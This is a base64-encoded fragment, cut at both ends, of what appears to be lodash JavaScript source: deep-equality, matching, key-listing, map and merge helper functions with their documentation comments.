AgKiBAcGFyYW0ge251bWJlcn0gYml0bWFzayBUaGUgYml0bWFzayBmbGFncy4gU2VlIGBiYXNlSXNFcXVhbGAgZm9yIG1vcmUgZGV0YWlscy5cbiAgICAgKiBAcGFyYW0ge0Z1bmN0aW9ufSBjdXN0b21pemVyIFRoZSBmdW5jdGlvbiB0byBjdXN0b21pemUgY29tcGFyaXNvbnMuXG4gICAgICogQHBhcmFtIHtGdW5jdGlvbn0gZXF1YWxGdW5jIFRoZSBmdW5jdGlvbiB0byBkZXRlcm1pbmUgZXF1aXZhbGVudHMgb2YgdmFsdWVzLlxuICAgICAqIEBwYXJhbSB7T2JqZWN0fSBbc3RhY2tdIFRyYWNrcyB0cmF2ZXJzZWQgYG9iamVjdGAgYW5kIGBvdGhlcmAgb2JqZWN0cy5cbiAgICAgKiBAcmV0dXJucyB7Ym9vbGVhbn0gUmV0dXJucyBgdHJ1ZWAgaWYgdGhlIG9iamVjdHMgYXJlIGVxdWl2YWxlbnQsIGVsc2UgYGZhbHNlYC5cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBiYXNlSXNFcXVhbERlZXAob2JqZWN0LCBvdGhlciwgYml0bWFzaywgY3VzdG9taXplciwgZXF1YWxGdW5jLCBzdGFjaykge1xuICAgICAgdmFyIG9iaklzQXJyID0gaXNBcnJheShvYmplY3QpLFxuICAgICAgICAgIG90aElzQXJyID0gaXNBcnJheShvdGhlciksXG4gICAgICAgICAgb2JqVGFnID0gb2JqSXNBcnIgPyBhcnJheVRhZyA6IGdldFRhZyhvYmplY3QpLFxuICAgICAgICAgIG90aFRhZyA9IG90aElzQXJyID8gYXJyYXlUYWcgOiBnZXRUYWcob3RoZXIpO1xuXG4gICAgICBvYmpUYWcgPSBvYmpUYWcgPT0gYXJnc1RhZyA/IG9iamVjdFRhZyA6IG9ialRhZztcbiAgICAgIG90aFRhZyA9IG90aFRhZyA9PSBhcmdzVGFnID8gb2JqZWN0VGFnIDogb3RoVGFnO1xuXG4gICAgICB2YXIgb2JqSXNPYmogPSBvYmpUYWcgPT0gb2JqZWN0VGFnLFxuICAgICAgICAgIG90aElzT2JqID0gb3RoVGFnID09IG9iamVjdFRhZyxcbiAgICAgICAgICBpc1NhbWVUYWcgPSBvYmpUYWcgPT0gb3RoVGFnO1xuXG4gICAgICBpZiAoaXNTYW1lVGFnICYmIGlzQnVmZmVyKG9iamVjdCkpIHtcbiAgICAgICAgaWYgKCFpc0J1ZmZlcihvdGhlcikpIHtcbiAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgIH1cbiAgICAgICAgb2JqSXNBcnIgPSB0cnVlO1xuICAgICAgICBvYmpJc09iaiA9IGZhbHNlO1xuICAgICAgfVxuICAgICAgaWYgKGlzU2FtZVRhZyAmJiAhb2JqSXNPYmopIHtcbiAgICAgICAgc3RhY2sgfHwgKHN0YWNrID0gbmV3IFN0YWNrKTtcbiAgICAgICAgcmV0dXJuIChvYmpJc0FyciB8fCBpc1R5cGVkQXJyYXkob2JqZWN0KSlcbiAgICAgICAgICA/IGVxdWFsQXJyYXlzKG9iamVjdCwgb3RoZXIsIGJpdG1hc2ssIGN1c3RvbWl6ZXIsIGVxdWFsRnVuYywgc3RhY2spXG4gICAgICAgICAgOiBlcXVhbEJ5VGFnKG9iamVjdCwgb3RoZXIsIG9ialRhZywgYml0bWFzaywgY3VzdG9taXplciwgZXF1YWxGdW5jLCBzdGFjayk7XG4gICAgICB9XG4gICAgICBpZiAoIShiaXRtYXNrICYgQ09NUEFSRV9QQVJUSUFMX0ZMQUcpKSB7XG4gICAgICAgIHZhciBvYmpJc1dyYXBwZWQgPSBvYmpJc09iaiAmJiBoYXNPd25Qcm9wZXJ0eS5jYWxsKG9iamVjdCwgJ19fd3JhcHBlZF9fJyksXG4gICAgICAgICAgICBvdGhJc1dyYXBwZWQgPSBvdGhJc09iaiAmJiBoYXNPd25Qcm9wZXJ0eS5jYWxsKG90aGVyLCAnX193cmFwcGVkX18nKTtcblxuICAgICAgICBpZiAob2JqSXNXcmFwcGVkIHx8IG90aElzV3JhcHBlZCkge1xuICAgICAgICAgIHZhciBvYmpVbndyYXBwZWQgPSBvYmpJc1dyYXBwZWQgPyBvYmplY3QudmFsdWUoKSA6IG9iamVjdCxcbiAgICAgICAgICAgICAgb3RoVW53cmFwcGVkID0gb3RoSXNXcmFwcGVkID8gb3RoZXIudmFsdWUoKSA6IG90aGVyO1xuXG4gICAgICAgICAgc3RhY2sgfHwgKHN0YWNrID0gbmV3IFN0YWNrKTtcbiAgICAgICAgICByZXR1cm4gZXF1YWxGdW5jKG9ialVud3JhcHBlZCwgb3RoVW53cmFwcGVkLCBiaXRtYXNrLCBjdXN0b21pemVyLCBzdGFjayk7XG4gICAgICAgIH1cbiAgICAgIH1cbiAgICAgIGlmICghaXNTYW1lVGFnKSB7XG4gICAgICAgIHJldHVybiBmYWxzZTtcbiAgICAgIH1cbiAgICAgIHN0YWNrIHx8IChzdGFjayA9IG5ldyBTdGFjayk7XG4gICAgICByZXR1cm4gZXF1YWxPYmplY3RzKG9iamVjdCwgb3RoZXIsIGJpdG1hc2ssIGN1c3RvbWl6ZXIsIGVxdWFsRnVuYywgc3RhY2spO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIFRoZSBiYXNlIGltcGxlbWVudGF0aW9uIG9mIGBfLmlzTWFwYCB3aXRob3V0IE5vZGUuanMgb3B0aW1pemF0aW9ucy5cbiAgICAgKlxuICAgICAqIEBwcml2YXRlXG4gICAgICogQHBhcmFtIHsqfSB2YWx1ZSBUaGUgdmFsdWUgdG8gY2hlY2suXG4gICAgICogQHJldHVybnMge2Jvb2xlYW59IFJldHVybnMgYHRydWVgIGlmIGB2YWx1ZWAgaXMgYSBtYXAsIGVsc2UgYGZhbHNlYC5cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBiYXNlSXNNYXAodmFsdWUpIHtcbiAgICAgIHJldHVybiBpc09iamVjdExpa2UodmFsdWUpICYmIGdldFRhZyh2YWx1ZSkgPT0gbWFwVGFnO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIFRoZSBiYXNlIGltcGxlbWVudGF0aW9uIG9mIGBfLmlzTWF0Y2hgIHdpdGhvdXQgc3VwcG9ydCBmb3IgaXRlcmF0ZWUgc2hvcnRoYW5kcy5cbiAgICAgKlxuICAgICAqIEBwcml2YXRlXG4gICAgICogQHBhcmFtIHtPYmplY3R9IG9iamVjdCBUaGUgb2JqZWN0IHRvIGluc3BlY3QuXG4gICAgICogQHBhcmFtIHtPYmplY3R9IHNvdXJjZSBUaGUgb2JqZWN0IG9mIHByb3BlcnR5IHZhbHVlcyB0byBtYXRjaC5cbiAgICAgKiBAcGFyYW0ge0FycmF5fSBtYXRjaERhdGEgVGhlIHByb3BlcnR5IG5hbWVzLCB2YWx1ZXMsIGFuZCBjb21wYXJlIGZsYWdzIHRvIG1hdGNoLlxuICAgICAqIEBwYXJhbSB7RnVuY3Rpb259IFtjdXN0b21pemVyXSBUaGUgZnVuY3Rpb24gdG8gY3VzdG9taXplIGNvbXBhcmlzb25zLlxuICAgICAqIEByZXR1cm5zIHtib29sZWFufSBSZXR1cm5zIGB0cnVlYCBpZiBgb2JqZWN0YCBpcyBhIG1hdGNoLCBlbHNlIGBmYWxzZWAuXG4gICAgICovXG4gICAgZnVuY3Rpb24gYmFzZUlzTWF0Y2gob2JqZWN0LCBzb3VyY2UsIG1hdGNoRGF0YSwgY3VzdG9taXplcikge1xuICAgICAgdmFyIGluZGV4ID0gbWF0Y2hEYXRhLmxlbmd0aCxcbiAgICAgICAgICBsZW5ndGggPSBpbmRleCxcbiAgICAgICAgICBub0N1c3RvbWl6ZXIgPSAhY3VzdG9taXplcjtcblxuICAgICAgaWYgKG9iamVjdCA9PSBudWxsKSB7XG4gICAgICAgIHJldHVybiAhbGVuZ3RoO1xuICAgICAgfVxuICAgICAgb2JqZWN0ID0gT2JqZWN0KG9iamVjdCk7XG4gICAgICB3aGlsZSAoaW5kZXgtLSkge1xuICAgICAgICB2YXIgZGF0YSA9IG1hdGNoRGF0YVtpbmRleF07XG4gICAgICAgIGlmICgobm9DdXN0b21pemVyICYmIGRhdGFbMl0pXG4gICAgICAgICAgICAgID8gZGF0YVsxXSAhPT0gb2JqZWN0W2RhdGFbMF1dXG4gICAgICAgICAgICAgIDogIShkYXRhWzBdIGluIG9iamVjdClcbiAgICAgICAgICAgICkge1xuICAgICAgICAgIHJldHVybiBmYWxzZTtcbiAgICAgICAgfVxuICAgICAgfVxuICAgICAgd2hpbGUgKCsraW5kZXggPCBsZW5ndGgpIHtcbiAgICAgICAgZGF0YSA9IG1hdGNoRGF0YVtpbmRleF07XG4gICAgICAgIHZhciBrZXkgPSBkYXRhWzBdLFxuICAgICAgICAgICAgb2JqVmFsdWUgPSBvYmplY3Rba2V5XSxcbiAgICAgICAgICAgIHNyY1ZhbHVlID0gZGF0YVsxXTtcblxuICAgICAgICBpZiAobm9DdXN0b21pemVyICYmIGRhdGFbMl0pIHtcbiAgICAgICAgICBpZiAob2JqVmFsdWUgPT09IHVuZGVmaW5lZCAmJiAhKGtleSBpbiBvYmplY3QpKSB7XG4gICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgICAgfVxuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgIHZhciBzdGFjayA9IG5ldyBTdGFjaztcbiAgICAgICAgICBpZiAoY3VzdG9taXplcikge1xuICAgICAgICAgICAgdmFyIHJlc3VsdCA9IGN1c3RvbWl6ZXIob2JqVmFsdWUsIHNyY1ZhbHVlLCBrZXksIG9iamVjdCwgc291cmNlLCBzdGFjayk7XG4gICAgICAgICAgfVxuICAgICAgICAgIGlmICghKHJlc3VsdCA9PT0gdW5kZWZpbmVkXG4gICAgICAgICAgICAgICAgPyBiYXNlSXNFcXVhbChzcmNWYWx1ZSwgb2JqVmFsdWUsIENPTVBBUkVfUEFSVElBTF9GTEFHIHwgQ09NUEFSRV9VTk9SREVSRURfRkxBRywgY3VzdG9taXplciwgc3RhY2spXG4gICAgICAgICAgICAgICAgOiByZXN1bHRcbiAgICAgICAgICAgICAgKSkge1xuICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICAgIH1cbiAgICAgICAgfVxuICAgICAgfVxuICAgICAgcmV0dXJuIHRydWU7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogVGhlIGJhc2UgaW1wbGVtZW50YXRpb24gb2YgYF8uaXNOYXRpdmVgIHdpdGhvdXQgYmFkIHNoaW0gY2hlY2tzLlxuICAgICAqXG4gICAgICogQHByaXZhdGVcbiAgICAgKiBAcGFyYW0geyp9IHZhbHVlIFRoZSB2YWx1ZSB0byBjaGVjay5cbiAgICAgKiBAcmV0dXJucyB7Ym9vbGVhbn0gUmV0dXJucyBgdHJ1ZWAgaWYgYHZhbHVlYCBpcyBhIG5hdGl2ZSBmdW5jdGlvbixcbiAgICAgKiAgZWxzZSBgZmFsc2VgLlxuICAgICAqL1xuICAgIGZ1bmN0aW9uIGJhc2VJc05hdGl2ZSh2YWx1ZSkge1xuICAgICAgaWYgKCFpc09iamVjdCh2YWx1ZSkgfHwgaXNNYXNrZWQodmFsdWUpKSB7XG4gICAgICAgIHJldHVybiBmYWxzZTtcbiAgICAgIH1cbiAgICAgIHZhciBwYXR0ZXJuID0gaXNGdW5jdGlvbih2YWx1ZSkgPyByZUlzTmF0aXZlIDogcmVJc0hvc3RDdG9yO1xuICAgICAgcmV0dXJuIHBhdHRlcm4udGVzdCh0b1NvdXJjZSh2YWx1ZSkpO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIFRoZSBiYXNlIGltcGxlbWVudGF0aW9uIG9mIGBfLmlzUmVnRXhwYCB3aXRob3V0IE5vZGUuanMgb3B0aW1pemF0aW9ucy5cbiAgICAgKlxuICAgICAqIEBwcml2YXRlXG4gICAgICogQHBhcmFtIHsqfSB2YWx1ZSBUaGUgdmFsdWUgdG8gY2hlY2suXG4gICAgICogQHJldHVybnMge2Jvb2xlYW59IFJldHVybnMgYHRydWVgIGlmIGB2YWx1ZWAgaXMgYSByZWdleHAsIGVsc2UgYGZhbHNlYC5cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBiYXNlSXNSZWdFeHAodmFsdWUpIHtcbiAgICAgIHJldHVybiBpc09iamVjdExpa2UodmFsdWUpICYmIGJhc2VHZXRUYWcodmFsdWUpID09IHJlZ2V4cFRhZztcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBUaGUgYmFzZSBpbXBsZW1lbnRhdGlvbiBvZiBgXy5pc1NldGAgd2l0aG91dCBOb2RlLmpzIG9wdGltaXphdGlvbnMuXG4gICAgICpcbiAgICAgKiBAcHJpdmF0ZVxuICAgICAqIEBwYXJhbSB7Kn0gdmFsdWUgVGhlIHZhbHVlIHRvIGNoZWNrLlxuICAgICAqIEByZXR1cm5zIHtib29sZWFufSBSZXR1cm5zIGB0cnVlYCBpZiBgdmFsdWVgIGlzIGEgc2V0LCBlbHNlIGBmYWxzZWAuXG4gICAgICovXG4gICAgZnVuY3Rpb24gYmFzZUlzU2V0KHZhbHVlKSB7XG4gICAgICByZXR1cm4gaXNPYmplY3RMaWtlKHZhbHVlKSAmJiBnZXRUYWcodmFsdWUpID09IHNldFRhZztcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBUaGUgYmFzZSBpbXBsZW1lbnRhdGlvbiBvZiBgXy5pc1R5cGVkQXJyYXlgIHdpdGhvdXQgTm9kZS5qcyBvcHRpbWl6YXRpb25zLlxuICAgICAqXG4gICAgICogQHByaXZhdGVcbiAgICAgKiBAcGFyYW0geyp9IHZhbHVlIFRoZSB2YWx1ZSB0byBjaGVjay5cbiAgICAgKiBAcmV0dXJucyB7Ym9vbGVhbn0gUmV0dXJucyBgdHJ1ZWAgaWYgYHZhbHVlYCBpcyBhIHR5cGVkIGFycmF5LCBlbHNlIGBmYWxzZWAuXG4gICAgICovXG4gICAgZnVuY3Rpb24gYmFzZUlzVHlwZWRBcnJheSh2YWx1ZSkge1xuICAgICAgcmV0dXJuIGlzT2JqZWN0TGlrZSh2YWx1ZSkgJiZcbiAgICAgICAgaXNMZW5ndGgodmFsdWUubGVuZ3RoKSAmJiAhIXR5cGVkQXJyYXlUYWdzW2Jhc2VHZXRUYWcodmFsdWUpXTtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBUaGUgYmFzZSBpbXBsZW1lbnRhdGlvbiBvZiBgXy5pdGVyYXRlZWAuXG4gICAgICpcbiAgICAgKiBAcHJpdmF0ZVxuICAgICAqIEBwYXJhbSB7Kn0gW3ZhbHVlPV8uaWRlbnRpdHldIFRoZSB2YWx1ZSB0byBjb252ZXJ0IHRvIGFuIGl0ZXJhdGVlLlxuICAgICAqIEByZXR1cm5zIHtGdW5jdGlvbn0gUmV0dXJucyB0aGUgaXRlcmF0ZWUuXG4gICAgICovXG4gICAgZnVuY3Rpb24gYmFzZUl0ZXJhdGVlKHZhbHVlKSB7XG4gICAgICAvLyBEb24ndCBzdG9yZSB0aGUgYHR5cGVvZmAgcmVzdWx0IGluIGEgdmFyaWFibGUgdG8gYXZvaWQgYSBKSVQgYnVnIGluIFNhZmFyaSA5LlxuICAgICAgLy8gU2VlIGh0dHBzOi8vYnVncy53ZWJraXQub3JnL3Nob3dfYnVnLmNnaT9pZD0xNTYwMzQgZm9yIG1vcmUgZGV0YWlscy5cbiAgICAgIGlmICh0eXBlb2YgdmFsdWUgPT0gJ2Z1bmN0aW9uJykge1xuICAgICAgICByZXR1cm4gdmFsdWU7XG4gICAgICB9XG4gICAgICBpZiAodmFsdWUgPT0gbnVsbCkge1xuICAgICAgICByZXR1cm4gaWRlbnRpdHk7XG4gICAgICB9XG4gICAgICBpZiAodHlwZW9mIHZhbHVlID09ICdvYmplY3QnKSB7XG4gICAgICAgIHJldHVybiBpc0FycmF5KHZhbHVlKVxuICAgICAgICAgID8gYmFzZU1hdGNoZXNQcm9wZXJ0eSh2YWx1ZVswXSwgdmFsdWVbMV0pXG4gICAgICAgICAgOiBiYXNlTWF0Y2hlcyh2YWx1ZSk7XG4gICAgICB9XG4gICAgICByZXR1cm4gcHJvcGVydHkodmFsdWUpO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIFRoZSBiYXNlIGltcGxlbWVudGF0aW9uIG9mIGBfLmtleXNgIHdoaWNoIGRvZXNuJ3QgdHJlYXQgc3BhcnNlIGFycmF5cyBhcyBkZW5zZS5cbiAgICAgKlxuICAgICAqIEBwcml2YXRlXG4gICAgICogQHBhcmFtIHtPYmplY3R9IG9iamVjdCBUaGUgb2JqZWN0IHRvIHF1ZXJ5LlxuICAgICAqIEByZXR1cm5zIHtBcnJheX0gUmV0dXJucyB0aGUgYXJyYXkgb2YgcHJvcGVydHkgbmFtZXMuXG4gICAgICovXG4gICAgZnVuY3Rpb24gYmFzZUtleXMob2JqZWN0KSB7XG4gICAgICBpZiAoIWlzUHJvdG90eXBlKG9iamVjdCkpIHtcbiAgICAgICAgcmV0dXJuIG5hdGl2ZUtleXMob2JqZWN0KTtcbiAgICAgIH1cbiAgICAgIHZhciByZXN1bHQgPSBbXTtcbiAgICAgIGZvciAodmFyIGtleSBpbiBPYmplY3Qob2JqZWN0KSkge1xuICAgICAgICBpZiAoaGFzT3duUHJvcGVydHkuY2FsbChvYmplY3QsIGtleSkgJiYga2V5ICE9ICdjb25zdHJ1Y3RvcicpIHtcbiAgICAgICAgICByZXN1bHQucHVzaChrZXkpO1xuICAgICAgICB9XG4gICAgICB9XG4gICAgICByZXR1cm4gcmVzdWx0O1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIFRoZSBiYXNlIGltcGxlbWVudGF0aW9uIG9mIGBfLmtleXNJbmAgd2hpY2ggZG9lc24ndCB0cmVhdCBzcGFyc2UgYXJyYXlzIGFzIGRlbnNlLlxuICAgICAqXG4gICAgICogQHByaXZhdGVcbiAgICAgKiBAcGFyYW0ge09iamVjdH0gb2JqZWN0IFRoZSBvYmplY3QgdG8gcXVlcnkuXG4gICAgICogQHJldHVybnMge0FycmF5fSBSZXR1cm5zIHRoZSBhcnJheSBvZiBwcm9wZXJ0eSBuYW1lcy5cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBiYXNlS2V5c0luKG9iamVjdCkge1xuICAgICAgaWYgKCFpc09iamVjdChvYmplY3QpKSB7XG4gICAgICAgIHJldHVybiBuYXRpdmVLZXlzSW4ob2JqZWN0KTtcbiAgICAgIH1cbiAgICAgIHZhciBpc1Byb3RvID0gaXNQcm90b3R5cGUob2JqZWN0KSxcbiAgICAgICAgICByZXN1bHQgPSBbXTtcblxuICAgICAgZm9yICh2YXIga2V5IGluIG9iamVjdCkge1xuICAgICAgICBpZiAoIShrZXkgPT0gJ2NvbnN0cnVjdG9yJyAmJiAoaXNQcm90byB8fCAhaGFzT3duUHJvcGVydHkuY2FsbChvYmplY3QsIGtleSkpKSkge1xuICAgICAgICAgIHJlc3VsdC5wdXNoKGtleSk7XG4gICAgICAgIH1cbiAgICAgIH1cbiAgICAgIHJldHVybiByZXN1bHQ7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogVGhlIGJhc2UgaW1wbGVtZW50YXRpb24gb2YgYF8ubHRgIHdoaWNoIGRvZXNuJ3QgY29lcmNlIGFyZ3VtZW50cy5cbiAgICAgKlxuICAgICAqIEBwcml2YXRlXG4gICAgICogQHBhcmFtIHsqfSB2YWx1ZSBUaGUgdmFsdWUgdG8gY29tcGFyZS5cbiAgICAgKiBAcGFyYW0geyp9IG90aGVyIFRoZSBvdGhlciB2YWx1ZSB0byBjb21wYXJlLlxuICAgICAqIEByZXR1cm5zIHtib29sZWFufSBSZXR1cm5zIGB0cnVlYCBpZiBgdmFsdWVgIGlzIGxlc3MgdGhhbiBgb3RoZXJgLFxuICAgICAqICBlbHNlIGBmYWxzZWAuXG4gICAgICovXG4gICAgZnVuY3Rpb24gYmFzZUx0KHZhbHVlLCBvdGhlcikge1xuICAgICAgcmV0dXJuIHZhbHVlIDwgb3RoZXI7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogVGhlIGJhc2UgaW1wbGVtZW50YXRpb24gb2YgYF8ubWFwYCB3aXRob3V0IHN1cHBvcnQgZm9yIGl0ZXJhdGVlIHNob3J0aGFuZHMuXG4gICAgICpcbiAgICAgKiBAcHJpdmF0ZVxuICAgICAqIEBwYXJhbSB7QXJyYXl8T2JqZWN0fSBjb2xsZWN0aW9uIFRoZSBjb2xsZWN0aW9uIHRvIGl0ZXJhdGUgb3Zlci5cbiAgICAgKiBAcGFyYW0ge0Z1bmN0aW9ufSBpdGVyYXRlZSBUaGUgZnVuY3Rpb24gaW52b2tlZCBwZXIgaXRlcmF0aW9uLlxuICAgICAqIEByZXR1cm5zIHtBcnJheX0gUmV0dXJucyB0aGUgbmV3IG1hcHBlZCBhcnJheS5cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBiYXNlTWFwKGNvbGxlY3Rpb24sIGl0ZXJhdGVlKSB7XG4gICAgICB2YXIgaW5kZXggPSAtMSxcbiAgICAgICAgICByZXN1bHQgPSBpc0FycmF5TGlrZShjb2xsZWN0aW9uKSA/IEFycmF5KGNvbGxlY3Rpb24ubGVuZ3RoKSA6IFtdO1xuXG4gICAgICBiYXNlRWFjaChjb2xsZWN0aW9uLCBmdW5jdGlvbih2YWx1ZSwga2V5LCBjb2xsZWN0aW9uKSB7XG4gICAgICAgIHJlc3VsdFsrK2luZGV4XSA9IGl0ZXJhdGVlKHZhbHVlLCBrZXksIGNvbGxlY3Rpb24pO1xuICAgICAgfSk7XG4gICAgICByZXR1cm4gcmVzdWx0O1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIFRoZSBiYXNlIGltcGxlbWVudGF0aW9uIG9mIGBfLm1hdGNoZXNgIHdoaWNoIGRvZXNuJ3QgY2xvbmUgYHNvdXJjZWAuXG4gICAgICpcbiAgICAgKiBAcHJpdmF0ZVxuICAgICAqIEBwYXJhbSB7T2JqZWN0fSBzb3VyY2UgVGhlIG9iamVjdCBvZiBwcm9wZXJ0eSB2YWx1ZXMgdG8gbWF0Y2guXG4gICAgICogQHJldHVybnMge0Z1bmN0aW9ufSBSZXR1cm5zIHRoZSBuZXcgc3BlYyBmdW5jdGlvbi5cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBiYXNlTWF0Y2hlcyhzb3VyY2UpIHtcbiAgICAgIHZhciBtYXRjaERhdGEgPSBnZXRNYXRjaERhdGEoc291cmNlKTtcbiAgICAgIGlmIChtYXRjaERhdGEubGVuZ3RoID09IDEgJiYgbWF0Y2hEYXRhWzBdWzJdKSB7XG4gICAgICAgIHJldHVybiBtYXRjaGVzU3RyaWN0Q29tcGFyYWJsZShtYXRjaERhdGFbMF1bMF0sIG1hdGNoRGF0YVswXVsxXSk7XG4gICAgICB9XG4gICAgICByZXR1cm4gZnVuY3Rpb24ob2JqZWN0KSB7XG4gICAgICAgIHJldHVybiBvYmplY3QgPT09IHNvdXJjZSB8fCBiYXNlSXNNYXRjaChvYmplY3QsIHNvdXJjZSwgbWF0Y2hEYXRhKTtcbiAgICAgIH07XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogVGhlIGJhc2UgaW1wbGVtZW50YXRpb24gb2YgYF8ubWF0Y2hlc1Byb3BlcnR5YCB3aGljaCBkb2Vzbid0IGNsb25lIGBzcmNWYWx1ZWAuXG4gICAgICpcbiAgICAgKiBAcHJpdmF0ZVxuICAgICAqIEBwYXJhbSB7c3RyaW5nfSBwYXRoIFRoZSBwYXRoIG9mIHRoZSBwcm9wZXJ0eSB0byBnZXQuXG4gICAgICogQHBhcmFtIHsqfSBzcmNWYWx1ZSBUaGUgdmFsdWUgdG8gbWF0Y2guXG4gICAgICogQHJldHVybnMge0Z1bmN0aW9ufSBSZXR1cm5zIHRoZSBuZXcgc3BlYyBmdW5jdGlvbi5cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBiYXNlTWF0Y2hlc1Byb3BlcnR5KHBhdGgsIHNyY1ZhbHVlKSB7XG4gICAgICBpZiAoaXNLZXkocGF0aCkgJiYgaXNTdHJpY3RDb21wYXJhYmxlKHNyY1ZhbHVlKSkge1xuICAgICAgICByZXR1cm4gbWF0Y2hlc1N0cmljdENvbXBhcmFibGUodG9LZXkocGF0aCksIHNyY1ZhbHVlKTtcbiAgICAgIH1cbiAgICAgIHJldHVybiBmdW5jdGlvbihvYmplY3QpIHtcbiAgICAgICAgdmFyIG9ialZhbHVlID0gZ2V0KG9iamVjdCwgcGF0aCk7XG4gICAgICAgIHJldHVybiAob2JqVmFsdWUgPT09IHVuZGVmaW5lZCAmJiBvYmpWYWx1ZSA9PT0gc3JjVmFsdWUpXG4gICAgICAgICAgPyBoYXNJbihvYmplY3QsIHBhdGgpXG4gICAgICAgICAgOiBiYXNlSXNFcXVhbChzcmNWYWx1ZSwgb2JqVmFsdWUsIENPTVBBUkVfUEFSVElBTF9GTEFHIHwgQ09NUEFSRV9VTk9SREVSRURfRkxBRyk7XG4gICAgICB9O1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIFRoZSBiYXNlIGltcGxlbWVudGF0aW9uIG9mIGBfLm1lcmdlYCB3aXRob3V0IHN1cHBvcnQgZm9yIG11bHRpcGxlIHNvdXJjZXMuXG4gICAgICpcbiAgICAgKiBAcHJpdmF0ZVxuICAgICAqIEBwYXJhbSB7T2JqZWN0fSBvYmplY3QgVGhlIGRlc3RpbmF0aW9uIG9iamVjdC5cbiAgICAgKiBAcGFyYW0ge09iamVjdH0gc291cmNlIFRoZSBzb3VyY2Ugb2JqZWN0LlxuICAgICAqIEBwYXJhbSB7bnVtYmVyfSBzcmNJbmRleCBUaGUgaW5kZXggb2YgYHNvdXJjZWAuXG4gICAgICogQHBhcmFtIHtGdW5jdGlvbn0gW2N1c3RvbWl6ZXJdIFRoZSBmdW5jdGlvbiB0byBjdXN0b21pemUgbWVyZ2VkIHZhbHVlcy5cbiAgICAgKiBAcGFyYW0ge09iamVjdH0gW3N0YWNrXSBUcmFja3MgdHJhdmVyc2VkIHNvdXJjZSB2YWx1ZXMgYW5kIHRoZWlyIG1lcmdlZFxuICAgICAqICBjb3VudGVycGFydHMuXG4gICAgICovXG4gICAgZnVuY3Rpb24gYmFzZU1lcmdlKG9iamVjdCwgc291cmNlLCBzcmNJbmRleCwgY3VzdG9taXplciwgc3RhY2spIHtcbiAgICAgIGlmIChvYmplY3QgPT09IHNvdXJjZSkge1xuICAgICAgICByZXR1cm47XG4gICAgICB9XG4gICAgICBiYXNlRm9yKHNvdXJjZSwgZnVuY3Rpb24oc3JjVmFsdWUsIGtleSkge1xuICAgICAgICBzdGFjayB8fCAoc3RhY2sgPSBuZXcgU3RhY2spO1xuICAgICAgICBpZiAoaXNPYmplY3Qoc3JjVmFsdWUpKSB7XG4gICAgICAgICAgYmFzZU1lcmdlRGVlcChvYmplY3QsIHNvdXJjZSwga2V5LCBzcmNJbmRleCwgYmFzZU1lcmdlLCBjdXN0b21pemVyLCBzdGFjayk7XG4gICAgICAgIH1cbiAgICAgICAgZWxzZSB7XG4gICAgICAgICAgdmFyIG5ld1ZhbHVlID0gY3VzdG9taXplclxuICAgICAgICAgICAgPyBjdXN0b21pemVyKHNhZmVHZXQob2JqZWN0LCBrZXkpLCBzcmNWYWx1ZSwgKGtleSArICcnKSwgb2JqZWN0LCBzb3VyY2UsIHN0YWNrKVxuICAgICAgICAgICAgOiB1bmRlZmluZWQ7XG5cbiAgICAgICAgICBpZiAobmV3VmFsdWUgPT09IHVuZGVmaW5lZCkge1xuICAgICAgICAgICAgbmV3VmFsdWUgPSBzcmNWYWx1ZTtcbiAgICAgICAgICB9XG4gICAgICAgICAgYXNzaWduTWVyZ2VWYWx1ZShvYmplY3QsIGtleSwgbmV3VmFsdWUpO1xuICAgICAgICB9XG4gICAgICB9LCBrZXlzSW4pO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIEEgc3BlY2lhbGl6ZWQgdmVyc2lvbiBvZiBgYmFzZU1lcmdlYCBmb3IgYXJyYXlzIGFuZCBvYmplY3RzIHdoaWNoIHBlcmZvcm1zXG4gICAgICogZGVlcCBtZXJnZXMgYW5kIHRyYWNrcyB0cmF2ZXJzZWQgb2JqZWN0cyBlbmFibGluZyBvYmplY3RzIHdpdGggY2lyY3VsYXJcbiAgICAgKiByZWZlcmVuY2VzIHRvIGJlIG1lcmdlZC5cbiAgICAgKlxuICAgICAqIEBwcml2YXRlXG4gICAgICogQHBhcmFtIHtPYmplY3R9IG9iamVjdCBUaGUgZGVzdGluYXRpb24gb2JqZWN0LlxuICAgICAqIEBwYXJhbSB7T2JqZWN0fSBzb3VyY2UgVGhlIHNvdXJjZSBvYmplY3QuXG4gICAgICogQHBhcmFtIHtzdHJpbmd9IGtleSBUaGUga2V5IG9mIHRoZSB2YWx1ZSB0byBtZXJnZS5cbiAgICAgKiBAcGFyYW0ge251bWJlcn0gc3JjSW5kZXggVGhlIGluZGV4IG9mIGBzb3VyY2VgLlxuICAgICAqIEBwYXJhbSB7RnVuY3Rpb259IG1lcmdlRnVuYyBUaGUgZnVuY3Rpb24gdG8gbWVyZ2UgdmFsdWVzLlxuICAgICAqIEBwYXJhbSB7RnVuY3Rpb259IFtjdXN0b21pemVyXSBUaGUgZnVuY3Rpb24gdG8gY3VzdG9taXplIGFzc2lnbmVkIHZhbHVlcy5cbiAgICAgKiBAcGFyYW0ge09iamVjdH0gW3N0YWNrXSBUcmFja3MgdHJhdmVyc2VkIHNvdXJjZSB2YWx1ZXMgYW5kIHRoZWlyIG1lcmdlZFxuICAgI